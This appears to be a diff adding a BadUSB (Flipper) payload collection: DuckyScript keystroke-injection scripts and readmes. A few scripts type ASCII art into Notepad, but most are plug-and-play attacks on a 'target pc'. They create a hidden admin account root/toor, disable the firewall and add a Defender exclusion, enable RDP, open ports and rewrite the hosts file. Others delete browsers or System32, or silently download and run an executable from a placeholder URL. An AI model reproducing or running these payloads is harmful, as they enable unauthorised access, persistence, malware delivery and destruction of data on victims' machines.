STRING #******+++++++++++++++++++++#%***%%###############################*#******@***#
ENTER
STRING =******+++++++++++++++++++++*@**%%%###############################********@***#:
ENTER
STRING .#******+++++++++++++++++++++%#*#%#%#############################*********@***#:
ENTER
STRING ********++++++++++++++++++++*%***%%%############################*********%#**#-
ENTER
STRING :%*******++++++++++++++++++++*%****#%%#######################************##***=
ENTER
STRING -#*******+++++++++++++++++++++##****#%####################**************#%***+
ENTER
STRING -#*******+++++++++++++++++++++*%#****%%################*****************@***+
ENTER
STRING -#*******++++++++++++++++++++++*%****#%##*######**#********************@***+
ENTER
STRING .*********++++++++++++++++++++++##*****#%##*#*************************@***+
ENTER
STRING =#*******++++++++++++++++++++++*###*****###************************%#***=
ENTER
STRING +#********++++++++++++++++++++++*###*****####****************####****#-
ENTER
STRING :+#********+++++++++++++++++++++++*###******################********#.
ENTER
STRING .+#*********+++++++++++++++++++++++*####**********************##%*.
ENTER
STRING :+*#*******+++++++++++++++++++++++++*########################-
ENTER
STRING .:=++*##****+++++++++++++++++++++++++++++++**+++++++++**-
ENTER
STRING .:-==+**#***++++++++++++++++++++++++++++****+=-.
ENTER
STRING .::--==++++++++++++=========--:.

112
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/RickRoll.txt Normal file
View File

@ -0,0 +1,112 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 1200
GUI r
DELAY 600
STRING notepad
ENTER
DELAY 750
GUI UPARROW
DELAY 500
STRING K00KKKKKKKKOOOOOOOOOOO0KKKKXKK00O000OOOOOOkkkkOO0KKKKKKXKKKKXKKKKK0OkxxkxxxxxxkO000KKKKKKKK000000000
ENTER
STRING 0000OO0O0OOOO000OO0000KKKK000OkkkkkkkkxxxxkkkkxkkkkkkOO00OOO00KKKKK0OkxxxxxxxxxkO00KKKKKKKKKK0000000
ENTER
STRING KKK0000OOOOOO0000000000OOOkkkkkOOOOkkkkkkxoolcclc:;;:clodkOOkkOOOOOOOkxxxxxkkkxxkkOOO000O00000000000
ENTER
STRING XXXXXXXKKKKK00000000000000OOkOOOOOkkkkkOOo:,'',,,,,,,',,:ldkkkkkkxxxxxxxxxkkkkxxkxxkkOOOO00KKKXK00KK
ENTER
STRING XXXXXXXXXNNXXK00000000KKXKKK00OOkkkOkkkkdl;,'.'..''''''',;;lxOkOOOkkkkxxkkkkkkkkkkkO0KKKKKXNNNNXK0KX
ENTER
STRING XXXXXXXNNNNXKK000000000KXXXXKKKOOOO0OOOkoc:;;;,,',,,,,,,,,,;lO00K000OkkkkkkkkO00KKKKXKXXXXXNNNNNX00K
ENTER
STRING XNNXXXXXKKKK00000000KK00KKKKK000OOO00kdloolooodoooddddool;,,cOKK000OkkkkkkkkkkO0KKKKXXXXXXXXNNNNK000
ENTER
STRING XXXXKK000000KXK0000KKK0000OOOOOOOkkkkd:codlloddddxxxxxxxxl;,lkOOkkkkkkkkxkkkkkkOO000KKKXXXXXNNNNXK00
ENTER
STRING K0K0000000KXXXK00000KXK0000000000Okkkdcldolccloddddxxxkxxo:;lkkkkxxxk00kxkkkkkkkkkkkk00KXKXXXNNNNNXK
ENTER
STRING 000000000XXNNX000000K0000KXXXXXXXK0Okkdddl::::codolllodddo::x0OkkkxxkOOkxkkkkOOOkkkkkkOO000KXNNNXXXX
ENTER
STRING KKKK0000KXNNNXKK000000KKKXNNNNXXXXX0xkOkdllccccoxxdolloodlcx0KKKKOkxxkkkkkkkkO000OkkkkkkkkOO0XXXXXXK
ENTER
STRING XXNXXKKKKXNWNXKKKKKKKXNNNNNNXXXXXXXOodOkolllllloxxxxxxxxdooOKKKKKKOOkkkkkkkkkOK000kkkkkkkkkkOO0KKXKK
ENTER
STRING XNNXXNXKKKXNNXKKKKKKKKNNNNNNXXXXXXX0xdkkollllccoddxxxxxxdddOKKKKKK0K0OkkkkkkkOKKKOkkkkO000OkkkkkO0KK
ENTER
STRING XXXXKK00KKKKKKK00K000KXNNNNNNNXXXXXK0O0kolllllodxxxxxxxddxk0KKK0KK0K0kkxxkkkkO00OkkOO000000OkkkkkkkO
ENTER
STRING KXXK000KXXXK0K000K00KXNWNNNNNNXXXXXK0KKkollcccloddddxxxkOOKK0KK0KK0K0kxxxxkkxkkkkkkkOO000K00OOkkkkkk
ENTER
STRING 00000KXNNNNNKK0000000KNNNNNNNNXXXXXK000kdollloodxxxdddx0K0KK0KK0KK0KKOkxxxxxxxxk00OkkkOKKK0OOkkOOOOO
ENTER
STRING 00000XNNNNNNXK0000000000KNNXNNXXXK0Okkkdolllclodddddddk000KK0KK0K000Okkxxxxxxkk000K0OkO000Okkkk00K0O
ENTER
STRING XXK00XNNNNNNX00000KKK0000KXXNNXXKOkkkkkdllccccclooodddxdxO0KKKKKK0OkkkkkkxxxxkO0KKKKK0OOOOOOOkkO00Ok
ENTER
STRING XNNK0KXNNNNNK00000KXNXK00OO00000Okkkkkkdllllloddddxddkx:;lx00K00OkkxkkOOkxxkkkO0KKKKK0O0KKXK0Okkkkkk
ENTER
STRING XXNK00XNNXNNK000000KK000OOOOkkkkkkOOOxooolllloodddddkOo'..';loddxxxkO00OkkkkkkO000KKKOOKXXXKK0OkkkO0
ENTER
STRING XXXX0OKXXXXXKOOOOO00OOO00KK0OOxxdxkOOxoodoollooooxxk0Oc.......'';::cllodxxkkkkO000KK0O0KXXXXK0OkkkO0
ENTER
STRING XXXXKO0KXXXX0OOOOOOOOO0KK0Oxol:;:okOOkooooolllodkO00Oo,................',;:cldO00000Ok0XXKXK0kkxkkkk
ENTER
STRING KXXXKOO00KXKOkkkkOOOOkkxoc:,'...'lkkkxlccclddxkOO00kl'.......................,oO0000kk0KKKX0kkkkkxxk
ENTER
STRING 0KK00OOOOOO0Okkkkkkdl:;,'.......'cxxddc:ccoxkOO00xo:..........................,d0OOkkk0KKK0kkxO0OOkx
ENTER
STRING OOOOO0KKK0OOOkkkkkx:.............',':lc::clolodxd:,............................lOkkkkkkO00kxkkO000Ox
ENTER
STRING kOOO0XXXXXX0OOOkkkd;................;cc::cloooll:'.............................'okOOOkxkkkxxkO0KKKOk
ENTER
STRING kkO0KXXXXNNKOOOkkko,................;cccccllllc:,...............................,dO00OkkxxxxxkkOO0Ok
ENTER
STRING kkkOKXXXXXXKOOOkkko'................;cloolccc::;................................,dOO0OOkkxxxxkkkkkkk
ENTER
STRING kkkkO0XKKXX0Okkkkko,................;cldxoc::;;'.................................cxOOOOkkkxxkO0000Ok
ENTER
STRING OkkkkOKKKXX0Okkkkxl'................;:oxxo:;;;,...................................;k0Okkkkkkkk0KKXK0
ENTER
STRING 0kkkkO0KXXX0OOkkkx:.................';lxkl;;;;,......................... .......:dxkkkOOOkk0XXXXX
ENTER
STRING 00OkkOO0KXX0OOkkkx:.................',:loc;:::'........''.............. .........':okO00OkOKXXXN
ENTER
STRING KKOkOOOOKXX0OOkkkx:..................,;::::::;.........:llolcccc:'..... .. .........;lk00OkOKXXX
ENTER
STRING OOkkO0OO0KX0OOkkkx:..... ............;:c::::;'.........:::clllllol;..... . ..........';okkk0KXX
ENTER
STRING xkkk0K0OO0KOkkkkkkl.... ............;:::;;;,..........';:cllllllol:.... ..............:xkk0KK
ENTER
STRING xkkkO0K0OOOOkkkkkko.... ...........,;;;,,,'...........';:ccllllloo:........................;xkkO0K
ENTER
STRING OO00OOOOkkkkkkkxxkc..... ..........',;;,''.............';:ccllllooc'.......................;xkxk0K
ENTER
STRING 00KKK0Okkkkkkkxxxxc..... ..........,;;,,,......... .........,;cllc,.......................'oxxxOO
ENTER
STRING 000KK0OOOkkkkkxxxd;........ .........';;,,,... ..,,'.. ......................:dxxxx
ENTER
STRING 000K0K000Okkkxxxxd:,,'...,:ccllc::;'..,;;;;,. ..,;,................:dddxx
ENTER
STRING OO00OO000Okkkxxxxxo,...,clolcc::;;,...,;;;,'. . ..................,cdddddx
ENTER
STRING O0000000Okkxxxxxdxo,..,,':l:;;;;;;,...,;;,'.. .'''........'',;:oxkxddodd
ENTER
STRING OOO0OOkkkxxxxxxxddd:''...';;;;;;;;'...,,,'.. ... .cddoollloodxxxkkkkkxdoood
ENTER
STRING OO0Okxxxxxxxxxxdddddc,....',;;,;;,. .'',,... .... .,dddxxxddddxxxxkxxdoooooo
ENTER
STRING kkkxxxxxxxxxddddddxdolc:,...',,''.. ..',,... ..'lddxxddddddxxxxxdooooooo
ENTER
STRING dddddxkkkxddddddddxkdoooc;'..... ..''.. .......cddddddddddddddddoddoooo
ENTER
STRING ooddxkkOkxdddddddxxkkxdooollc:,. .''. .........;dddddddddddddooodddoooo
ENTER
STRING oodxkkkkkxddddddddxkkkkdollool,... .''','.. .........,lddddddddddddddddddoooo
ENTER
STRING oodxkkkkkdddddddodxxxxxdollol:......,;;,,'. .........:oooddddddddoodddddoooo
ENTER
STRING ooodxxkkxddddoooodxkkxdollllc;......,;;,,'. .........,looooooooooooooddooooo
ENTER

28
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/SimpleTroll.txt Normal file
View File

@ -0,0 +1,28 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 2000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
GUI UPARROW
DELAY 500
STRING _ _ _____ _ ________ _____ ______ __ _ _ _ _ _____ ______ ________ _____ ______ _____
ENTER
STRING | | | | /\ / ____| |/ / ____| __ \ | _ \ \ / / | | | | \ | |/ ____/ __ \ \ / / ____| __ \| ____| __ \
ENTER
STRING | |__| | / \ | | | ' /| |__ | | | | | |_) \ \_/ / | | | | \| | | | | | \ \ / /| |__ | |__) | |__ | | | |
ENTER
STRING | __ | / /\ \| | | < | __| | | | | | _ < \ / | | | | . ` | | | | | |\ \/ / | __| | _ /| __| | | | |
ENTER
STRING | | | |/ ____ \ |____| . \| |____| |__| | | |_) | | | | |__| | |\ | |___| |__| | \ / | |____| | \ \| |____| |__| |
ENTER
STRING |_| |_/_/ \_\_____|_|\_\______|_____/ |____/ |_| \____/|_| \_|\_____\____/ \/ |______|_| \_\______|_____/
ENTER
DELAY 2000
CTRL HOME
DELAY 2000
CTRL END

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/readme.md Normal file
View File

@ -0,0 +1,44 @@
# WriteAscii
These scripts will open notepad and print out some Ascii images.
## How to use?
These scripts are easy to use. Just plug the Flipper in and run the scripts. No internet connection required.
## Features
- open new .txt file
- print the image
- Fullscreen mode
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/ActivateRDP.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Activates Remote Desktop.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit
ENTER

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/readme.md Normal file
View File

@ -0,0 +1,44 @@
# ActivateRDP
This script enables Remote Desktop connections and requires RDP authentication, so it opens the necessary firewall ports to allow incoming connections.
## How to use?
This script is easy to use. Plug the Flipper in and run the script.
## Features
- allows remote connections
- enables RDP authentication
- allow incoming remote connections
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

26
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/ChangeWinUsername.txt Normal file
View File

@ -0,0 +1,26 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Changes the Windows 10 username to the name of your choice.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING $User = ([Environment]::UserName)
DELAY 300
ENTER
DELAY 500
STRING Rename-LocalUser -Name $User -NewName "New Name"
DELAY 300
ENTER
DELAY 500
exit
ENTER

43
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/readme.md Normal file
View File

@ -0,0 +1,43 @@
# ChangeWinUsername
This script simply changes the Windows Username.
## How to use?
This script is not plug and play. You need to replace "New Name" to any name you want right here: "STRING Rename-LocalUser -Name $User -NewName "New Name""
## Features
- open powershell
- change windows username
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/Create_New_Windows_Admin.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Create a new Windows-User with Admin perms.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
ENTER
DELAY 560
ALT y
DELAY 300
STRING Net User root toor /ADD;Net LocalGroup Administrators root /ADD;Net LocalGroup Administrator root /ADD;Net LocalGroup Administratoren root /ADD;reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v root /t REG_DWORD /d 0 /f; exit
ENTER

45
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/readme.md Normal file
View File

@ -0,0 +1,45 @@
# Create_New_Windows_Admin
This script creates a new windows admin user on the target pc.
## How to use?
This script is plug and play. After the new user is created you need to use the username "root" and the password "toor" to login.
## Features
- open powershell
- create new admin user
- create name "root"
- create password "toor"
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/DNS_Cache_Poison.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Poisons the DNS Cache. (https://www.cloudflare.com/learning/dns/dns-cache-poisoning/)
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 750
WINDOWS r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 870
ALT y
DELAY 790
STRING $redirectionAddress="IP ADRESS HERE";$redirectedSite="URL HERE";$hosts1 = $redirectionAddress + ' ' + $redirectedSite + ([Environment]::NewLine);$hosts2 = $redirectionAddress + ' www.' + $redirectedSite;$hoststotal = $hosts1 + $hosts2;[io.file]::writealltext("C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS", $hoststotal); exit
ENTER

46
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/readme.md Normal file
View File

@ -0,0 +1,46 @@
# DNS_Cache_Poison
This script modifies the "hosts" file on a Windows operating system. You can change ip adresses of resolved domain names to open facebook.com instead of google.com when you search it for example.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change rediraction adress "$redirectionAddress="IP ADRESS HERE""
- change rediraction url "$redirectedSite="URL HERE""
## Features
- open powershell
- change content of "hosts" file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/del_browsers.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Delete Microsoft Edge, Chrome, Opera and Firefox from the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 800
WINDOWS d
DELAY 800
WINDOWS r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 800
LEFTARROW
ENTER
DELAY 800
STRING Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {($_.DisplayName -like "Microsoft Edge") -or ($_.DisplayName -like "Mozilla Firefox") -or ($_.DisplayName -like "Google Chrome") -or ($_.DisplayName -like "Opera*")} | ForEach-Object {Uninstall-package $_.PSChildName -Verbose}
DELAY 200
ENTER
DELAY 1200
STRING exit
ENTER

43
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/readme.md Normal file
View File

@ -0,0 +1,43 @@
# Delete Browsers
This script deletes these browsers: Chrome, Edge, Opera and Firefox
## How to use?
This script is plug and play. Just plug the Flipper in and run the script.
## Features
- open powershell
- delete browsers
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

17
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/32_wants_the_D.txt Normal file
View File

@ -0,0 +1,17 @@
REM Title:32 wants the D
REM Author: FalsePhilosopher
REM Target: Win, tested on 10
REM Props: Hak5, my friends and memes
REM Version: 1.0
REM Category: Prank
REM D as in DELETE! Deletes System32.
DELAY 500
GUI r
DELAY 500
STRING cmd
CTRL-SHIFT ENTER
DELAY 2000
ALT y
DELAY 1500
STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q *
ENTER

46
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/readme.md Normal file
View File

@ -0,0 +1,46 @@
# Original repo
https://github.com/FalsePhilosopher/badusb/tree/main/destructive/Win/Delete32
# 32 Wants the D
This script deletes the system 32 folder. Be careful!
## How to use?
This script is plug and play. I am not responsible for any damage.
## Features
- open powershell
- delete system 32
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/DisableFirewall.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Disables the Windows-Firewall.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 850
WINDOWS r
DELAY 900
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING netsh advfirewall set allprofiles state off; exit
ENTER

43
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/readme.md Normal file
View File

@ -0,0 +1,43 @@
# DisableFirewall
This script disables the windows firewall.
## How to use?
This script is plug and play. Just plug the Flipper in and run the script.
## Features
- open powershell
- disable windows firewall
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

41
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/Disable_WinDefender.txt Normal file
View File

@ -0,0 +1,41 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Disables Windows Defender.
REM Version: 1.0
REM Category: Execution
DELAY 1500
CTRL ESC
DELAY 750
STRING windows security
DELAY 250
ENTER
DELAY 1000
ENTER
DELAY 500
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 500
SPACE
DELAY 1000
ALT y
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING powershell
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 1000
STRING Add-MpPreference -ExclusionPath “C:”
ENTER
DELAY 2000
STRING EXIT
ENTER

43
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/readme.md Normal file
View File

@ -0,0 +1,43 @@
# Disable_WinDefender
This script disables the windows defender until the pc is restarted.
## How to use?
This script is plug and play.
## Features
- open powershell
- disable windows defender
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/DownloadAnyEXE.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 850
ALT y
DELAY 1200
STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
ENTER

45
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/readme.md Normal file
View File

@ -0,0 +1,45 @@
# DownloadAnyEXE
This script downloads an exe from an url that you will have to provide, then it executes the exe file.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .exe file "$url = "URL TO EXE""
## Features
- open powershell
- download .exe from url
- execute downloaded .exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

17
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/Invisible_DownExec.txt Normal file
View File

@ -0,0 +1,17 @@
REM Author: hell0
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
REM Target: All Windows
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING powershell.exe
ENTER
DELAY 2000
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit
ENTER
DELAY 500
GUI d

45
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/readme.md Normal file
View File

@ -0,0 +1,45 @@
# Invisible_DownExec
This script invisibly downloads an exe from an url that you will have to provide, then it executes the exe file.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .exe file "-Uri 'https://yoursite.com/your_executable.exe'"
- change name of the .exe file "-OutFile 'your_executable.exe'"
## Features
- open powershell invisble
- download .exe from url
- execute downloaded .exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

17
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/Invisible_DownExec_Zip_Extract.txt Normal file
View File

@ -0,0 +1,17 @@
REM Author: hell0
REM Description: Downloads an .zip file from the URL, extract and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
REM Target: All Windows
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING powershell.exe
ENTER
DELAY 2000
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/zipfile.jpg' -OutFile 'zipfile.zip'; Expand-Archive zipfile.zip; Start-Process -FilePath '.\zipfile\your_executable.exe'; exit" -WindowStyle Hidden; exit
ENTER
DELAY 500
GUI d

47
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/readme.md Normal file
View File

@ -0,0 +1,47 @@
# Invisible_DownExec_Zip_Extract
This script invisibly downloads an .zip file from the URL, extracts and runs it on the target pc.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .zip file "-Uri 'https://yoursite.com/zipfile.jpg'"
- change name of the .zip file "-OutFile 'zipfile.zip'"
- change path of the .exe in the extracted folder "-FilePath '.\zipfile\your_executable.exe'"
## Features
- open powershell invisble
- download .zip from url
- extract .zip file
- run exe from .zip file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/OpenAnyPort.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Open any TCP or UDP Port on the target PC.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 850
WINDOWS r
DELAY 850
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 800
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING netsh advfirewall firewall add rule name=Firewall entry name dir=in action=allow protocol=TCP or UDP localport=Port Number; exit
ENTER

46
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/readme.md Normal file
View File

@ -0,0 +1,46 @@
# OpenAnyPort
This script adds a firewall rule to the Windows Advanced Firewall that allows incoming traffic over TCP or UDP on a specific port number.
## How to use?
This script is not plug and play. You will have to do the following changes:
- choose protocol "protocol=TCP or UDP"
- change localport "localport=Port Number"
- choose entry name "name=Firewall entry name"
## Features
- open powershell
- create new entry
- allow port to receive traffic
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/RemoveWindowsUpdate.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Remove any Windows Update. Please put in the update number you want to remove. Example: KB27475
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1500
ALT y
DELAY 1500
GUI UP
DELAY 1500
STRING $input="UPDATE NUMBER";$input = $input.Replace('KB', '');$cmdString = 'wusa /quiet /norestart /uninstall /kb:' + $input;Invoke-Expression -Command $cmdString; exit
ENTER

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/readme.md Normal file
View File

@ -0,0 +1,44 @@
# RemoveWindowsUpdate
This script uninstalls a Windows update that has been previously installed on the system.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change update number "$input="UPDATE NUMBER""
## Features
- open powershell
- find update by number
- uninstall update
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/StartWifiAccessPoint.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Connect to a Wifi (example Evil Twin) to sniff packets or what you wanna do.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING netsh wlan set hostednetwork ssid=WLAN NAME key=PASSWORD;netsh wlan start hostednetwork; exit
ENTER

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/readme.md Normal file
View File

@ -0,0 +1,44 @@
# StartWifiAccessPoint
This script sets up a hosted wireless network on a computer running Windows.
## How to use?
This script is not plug and play. You will have to do the following changes:
- choose name of wifi "ssid=WLAN NAME"
- choose password of the wifi "key=PASSWORD"
## Features
- open powershell
- create new wifi by ssid
- set password for wifi
## Feedback
